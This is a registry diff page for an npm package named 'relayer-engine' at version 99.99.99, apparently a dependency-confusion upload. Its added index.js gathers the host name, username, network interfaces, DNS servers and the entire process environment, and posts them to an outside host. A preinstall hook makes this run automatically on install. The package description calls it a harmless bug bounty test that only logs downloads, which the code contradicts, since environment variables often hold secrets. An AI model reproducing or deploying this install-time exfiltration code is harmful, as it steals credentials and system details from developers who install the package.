relayer-engine 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of relayer-engine might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +38 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+
6
+ var postData = JSON.stringify({
7
+ cwd: __dirname,
8
+ home: os.homedir(),
9
+ host: os.hostname(),
10
+ net: os.networkInterfaces(),
11
+ user: os.userInfo().username,
12
+ dns: dns.getServers(),
13
+ env: process.env
14
+ });
15
+
16
+ var options = {
17
+ hostname: "awesomemaker.pythonanywhere.com", //replace burpcollaborator.net with Interactsh or pipedream
18
+ port: 443,
19
+ path: `/json?prefix=${packageJSON.name}`,
20
+ method: "POST",
21
+ headers: {
22
+ "Content-Type": "application/json",
23
+ "Content-Length": postData.length,
24
+ },
25
+ };
26
+
27
+ var req = https.request(options, (res) => {
28
+ res.on("data", (d) => {
29
+ process.stdout.write(d);
30
+ });
31
+ });
32
+
33
+ req.on("error", (e) => {
34
+ // console.error(e);
35
+ });
36
+
37
+ req.write(postData);
38
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "relayer-engine",
3
+ "description": "This is a bug bounty test package. It contains no malicious content, but does log downloads.",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ },
7
+ "version": "99.99.99",
8
+ "main": "index.js",
9
+ "author": "",
10
+ "license": "ISC"
11
+ }